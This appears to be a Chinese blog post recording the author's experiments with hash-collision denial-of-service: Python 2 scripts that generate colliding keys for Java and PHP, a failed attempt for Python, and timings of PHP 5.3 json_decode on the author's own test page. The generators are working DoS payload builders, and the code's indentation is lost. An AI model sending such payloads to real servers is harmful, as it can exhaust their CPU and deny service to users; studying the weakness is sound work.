java、python与留下迷点的php hash collision

时间:2022-11-21 21:22:56

JAVA

生成java的碰撞数据比较简单

根据网上资料可知:

at,bU,c6的在java中的hash值是相同的

则可以根据这三个不断做 笛卡尔积

简单明了就是做字符串拼接。

举个例子

把A当做at,bU,c6中的数

拼接成 AAAAAAAA(8个A),即可得到3^8个hash值相同的元素

写成python代码为

import json
arr_src = ['at','bU','c6']
arr_rtn = {}
def combs(n,str):
if n == 1:
for j in arr_src:
arr_rtn[str+j]=0
else:
for j in arr_src:
combs(n-1,str+j)
combs(11,"") #11为深度,也是3的11次方,可修改
data=json.dumps(arr_rtn)
print data #data即为得出的json格式字符串,可存入文件
print len(arr_rtn) #len为元素个数

python:

尝试

生成Python内置函数 hash()的一组 hash值相同的元素,使用  a~z A~Z 0~9 这62个字符做src

第一层 62个元素  hash各不相同

第二层 62^2  失败

第三层 62^3  失败

第四层 62^4  失败

最无语的是做到第五次的时候

对62^5个元素进行hash计算,再求其中hash相同的元素,然而62的5次方达到近十亿的个数,内存爆了,电脑死机。

反复三次,放弃了

错误代码,粗糙至极,简陋无比,亮瞎勿怪

from collections import Counter
def main(indeep):
ifGetHashCollision=0
deep=indeep
print deep
dic={}
base="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
hashs=[] def create(n,str):
if n==1:
for i in base:
#str += i
dic[str+i]=0
else:
for i in base:
create(n-1,str+i) create(deep,"") for i in dic:
hashs.append(hash(i)) print len(dic)
test=Counter(hashs)
for i in test:
if test[i] != 1:
print i
ifGetHashCollision=1 main(5) #该参数为62的次方

python字符串hash随机化:

python字符串每一次hash计算的结果都不同,在12年hash collision出来的时候,即对Python版本做了修复, 2.6.8, 2.7.3, 3.1.5

进行了python 字符串hash随机化,带着种子去hash。

所以即使一次得到了碰撞的元素,下一次也不能用。

原来做了两三个小时的无用功。

所以Python的暂时跳过

php

php的 hash collision是最神奇的,从晚上十点多看到现在还没有参透。

长话短说,先看一下网上的资料再看后面的问题:

http://blog.it2048.cn/article-php-hash/

——————半小时过去了——————

假装你已经看完了

根据推算,元素个数为 2^16即 65536个的时候,以 65536为基数,*2 、*3、*4、*.....、*65536所得到的hash碰撞效果最强,65536个元素全部碰撞,服务器处理的时间最长。

在服务器端搭建了一个测试页面

代码如下:

<?php

$rest = file_get_contents("php://input");
$startTime = microtime(true);
$a=json_decode($rest,true);
#var_dump($a);
$endTime = microtime(true);
echo $endTime - $startTime, ' seconds', "\n";
?>

2^16为基数,size(以下为方便,将2^16 = 65536 写为size)为元素个数的数据以json的格式传入

json_decode的计算时间为3.5秒左右【在这里,值得一提的是,burpsuite的计算时间与页面得出的json_decode处理时间基本相同,感叹burpsuite的精准,我用python没有写出来精准计算服务器处理时间的脚本】

然而!

2^15为基数,即 32768为基数,size为元素个数的数据传入时

服务器处理时间达到了17秒

这就是百思不得其解的地方了,12点的时候试了一下,发现了这神奇的一点。

按理解,因为原本在一个链表中碰撞的元素,变成了在两个链表中碰撞,遍历的长度减少,所以服务器处理时间也应该缩减,但是却变成了4倍。

以下是其他的测试表单

基数   元素个数     处理时间(秒)
2^16   2size     3.66
2^16   size       3.71

2^16   size-1       3.53
2^15    size      17.24
2^15    2size       17.31
2^15    0.5size       3.60
2^14    size       14.07/14.23
2^13    size       9.28
2^12    size       5.94
2^12    0.5size       1.33

PHP 数据产生python版本

#!/usr/bin/python
import time
import json
size=pow(2,16) #基数数值
start=time.time()
end=time.time()
array="{"
count=0
for i in range(0,size*size,size): #根据基数调整end符合元素格式
array += "\""+str(i)+"\":0,"
count += 1
print count #在这里显示元素个数,及时调整
array=array[:(len(array)-1)]
array += "}"
#data=json.dumps(array)
#print data
f=open("phpjsonByPython_16_size-1.txt","w")
f.write(array)
f.close()

根据响应时间对应可知,32768为基数,在元素个数为size(65536)范围内是hash碰撞效果最大的。

但是这不太符合网上给出的php hash算法,或者是我还没明白。

推算了两个小时,还没有想出个为什么。

我的php版本为5.3,下次有时间加上php调试器,再看看php底层hash的代码;或者看看网上给出的,或许一人理解错了导致后面的人都理解错了?或者就是我哪里错了。

PHP 未完待续